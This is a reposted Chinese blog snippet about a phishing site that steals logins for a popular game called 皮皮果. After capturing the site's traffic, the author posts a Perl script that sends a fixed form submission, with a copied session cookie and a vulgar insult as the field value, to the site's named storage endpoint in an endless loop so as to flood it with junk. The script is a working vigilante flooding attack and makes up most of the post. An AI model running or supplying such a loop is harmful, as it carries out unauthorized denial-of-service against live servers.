首页 > 代码库 > 用perl发送数据到钓鱼站
用perl发送数据到钓鱼站
一个皮皮果的游戏很火
估计很多人想黑
偶然发现一个钓鱼站:
http://ppgpergame.com/
钓用户名与密码
抓包后发现数据会发送到: http://ppgpergame.com/db.asp保存
所以就有了下面的脚本:
1 my $count = 1; 2 while(1){ 3 use LWP::UserAgent; 4 my $ua = LWP::UserAgent->new(); 5 6 my $req = HTTP::Request->new(POST => ‘http://ppgpergame.com/db.asp‘); 7 $req->content_type(‘application/x-www-form-urlencoded‘); 8 $req->header(‘Cookie‘ => "ASPSESSIONIDQSRSQRQT=JGGPHMLCGNGPMCMHJFEADDIH"); 9 $req->content(‘__VIEWSTATE=xh%2F2rhoU7BXJQVkhLqWlQFoDwiHE5G84c7bOCZBTKr4WqaFqAdRzvf9329qzGj8Gqd2NnXt2xItQJ1zkQ%2BEvzygE96CkbDtlgeRteOtQbfmi6AB8%2FiXJ4jyauiEvN%2BnA&__EVENTVALIDATION=dPbSacZAFdINOCpzCAR9Ie6LceBqX7SSEHcanKlD%2BkxCDfr2M5ZdgZumSxhVCnr92fi6rndo39J5Mb1jGgEoOFsx062FWDQiqGPuEk%2FpK2MqXohxmh38zNOfz%2F60jfP4nDpHTUCP536fgCr%2BOIFVZg%3D%3D&i=%B2%D9%C4%E3%C2%EAB&BtnSave=%C8%B7%C8%CF‘); 10 11 my $res = $ua->request($req); 12 print "发送代码为:",$res->status_line,"\n"; 13 print "第 $count 条数据发送完毕!\n"; 14 $count ++; 15 }
post数据大概是 XXXOOOO ni M类型, 不多说
用perl发送数据到钓鱼站
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。